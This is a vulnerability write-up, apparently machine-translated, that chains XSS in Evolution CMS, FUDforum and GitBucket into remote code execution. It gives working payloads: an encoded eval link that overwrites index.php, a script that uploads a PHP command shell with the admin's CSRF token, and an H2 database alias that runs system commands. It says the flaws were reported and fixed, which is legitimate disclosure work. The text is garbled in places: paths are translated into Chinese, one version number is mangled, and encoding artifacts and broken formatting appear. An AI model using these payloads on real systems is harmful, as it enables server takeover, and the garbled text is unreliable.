跨站点脚本 (XSS) 是 Web 应用程序中最常遇到的攻击之一。如果攻击者可以将 JavaScript 代码注入到应用程序输出中,这不仅会导致 cookie 盗窃、重定向或网络钓鱼,而且在某些情况下还会导致系统完全受损。

在本文中,我将通过 Evolution CMS、FUDForum 和 GitBucket 的示例展示如何通过 XSS 实现远程代码执行。

进化CMS v3.1.8

  • 链接:github.com/evolution-cms/evolution

CVE:待定

Evolution CMS 是世界上最快、最可定制的开源 PHP CMS。

在 Evolution CMS 中,我发现了用户控制数据的未转义显示,这导致了反射 XSS 攻击的可能性:

经理/视图/页面/用户_roles/permission.blade.php

image.png

经理/视图/页面/用户_roles/用户_role.blade.phpimage.png

经理/视图/页面/用户_roles/permissions_groups.blade.phpimage.png

我将举一个带有有效负载的链接的示例。

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

如果系统中授权的管理员点击链接或点击链接,则 javascript 代码将在管理员的浏览器中执行:

image.png

Evolution CMS中反射型XSS攻击的利用

在 Evolution CMS 的管理面板中,在文件管理器部分,管理员可以上传文件。问题是它不能上传 php 文件,但是,它可以编辑现有的文件。

我们将给出一个示例 javascript 代码,该代码将使用 phpinfo() 函数覆盖 index.php 文件:

$.get('/manager/?a=31',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
  $.ajax({
    url:'/manager/index.php',
    type:'POST',
    contentType:'application/x-www-form-urlencoded',
    data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
  );
});

是时候将有效负载和上面描述的 javascript 代码结合起来了,例如,可以用 Base64 编码:

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

如果成功攻击系统中授权的管理员,index.php 文件将被攻击者放置在有效负载中的代码覆盖。在这种情况下,这是对 phpinfo() 函数的调用:

image.png

zz100019美食论坛vz.1.1

链接:github.com/fudforum/FUDforum

CVE:待定

FUDforum 是一个超快速且可扩展的讨论论坛。它是高度可定制的,并支持无限的成员、论坛、帖子、主题、投票和附件。

在 FUDforum 中,我发现在私人消息或论坛主题中以附件名称显示用户控制的数据的未转义显示,这允许执行存储的 XSS 攻击。附加并上传一个文件名:">下载此文件后,将在浏览器中执行javascript代码:

image.png

FUDforum 管理面板有一个文件管理器,允许您将文件上传到服务器,包括带有 php 扩展名的文件。

攻击者可以使用存储的 XSS 上传可以在服务器上执行任何命令的 php 文件。

FUDforum 已经有一个公开漏洞利用,它使用 javascript 代码代表管理员上传一个 php 文件:

const action = '/adm/admbrowse.php';

function uploadShellWithCSRFToken(csrf) {
  let cur = '/var/www/html/fudforum.loc';
  let boundary = "-----------------------------347796892242263418523552968210";
  let contentType = "application/x-php";
  let fileName = 'shell.php';
  let fileData = "<?=`$_GET[cmd]`?>";
  let xhr = new XMLHttpRequest();
  xhr.open('POST', action, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
  let body = "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
  body += cur + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
  body += csrf + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
  body += "Content-Type: " + contentType + "\r\n\r\n";
  body += fileData + "\r\n\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
  body += "1" + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
  body += fileName + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
  body += "Upload File" + '\r\n';
  body += "--" + boundary + "--";
  xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    let response = req.response;
    uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
  }
}
req.open("GET", action, true);
req.responseType = "document";
req.send();

现在,攻击者可以给自己写一条私人消息,并将上述漏洞作为文件附加。消息发送给自身后,需要获取服务器上托管的 javascript 漏洞利用的路径:

index.php?t=getfile&id=7&private=1

下一步是准备将通过存储的 XSS 攻击执行的 javascript 有效负载。有效载荷的本质是获取早期放置的漏洞并运行它:

$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})
```It remains to put everything together to form the full name of the attached file in private messages. We will encode the assembled javascript payload in Base64:


.png



After the administrator reads the private message sent by the attacker with the attached file, a file named shell.php will be created on the server on behalf of the administrator, which will allow the attacker to execute arbitrary commands on the server:



![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1661867248432/9a63T8S66.png align="left")





# GitBucket v4.37.1

- Link: https://github.com/gitbucket/gitbucket



CVE: Pending



GitBucket is a Git platform powered by Scala with easy installation, high extensibility, and GitHub API compatibility.



In GitBucket, I found unescaped display of user-controlled issue name on the home page and attacker’s profile page (/hacker?tab=activity), which leads to a stored XSS:





![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1661867232717/DXJMM_CHY.png align="left")



Having a stored XSS attack, cone and try to exploit it to execute code on the server. The admin panel has tools for performing SQL queries – Database viewer.



GitBucket uses [H2 Database Engine](https://www.h2database.com/html/main.html) by default. This database has a [publicly available exploit](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) to achieve a Remote Code Execution.



So, all an attacker needs to do is create a PoC code based on this exploit, upload it to the repository and use it during an attack:

var url u003d "/admin/dbviewer/_query"; $.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throwsjava.io.IOException{ java.util.Scanner s u003d new java.util.Scanner(Runtime.getRuntime( ).exec(cmd).getInputStream()).useDelimiter("\A");return s.hasNext() ? s.next() : ""; }$$;' }) .done(function(data ) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})







![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1661867193096/4cRF1Tzbf.png align="left")



Now it remains to create a new issue or rename the old one and perform a stored XSS attack with an early exploit loaded:

问题 1">```

image.png

当管理员访问攻击者的个人资料页面或主页时,将代表他执行漏洞利用,并在服务器上创建一个 HACKED 文件:

image.png

image.png

结论

我们已经证明,低技能的攻击者可以通过多个开源应用程序中的任何 XSS 攻击轻松实现远程代码执行。

所有发现的漏洞信息都会报告给维护人员。官方存储库中提供了修复程序:

  • 进化
  • FUD论坛
  • Gitbucket
Logo

ModelScope旨在打造下一代开源的模型即服务共享平台,为泛AI开发者提供灵活、易用、低成本的一站式模型服务产品,让模型应用更简单!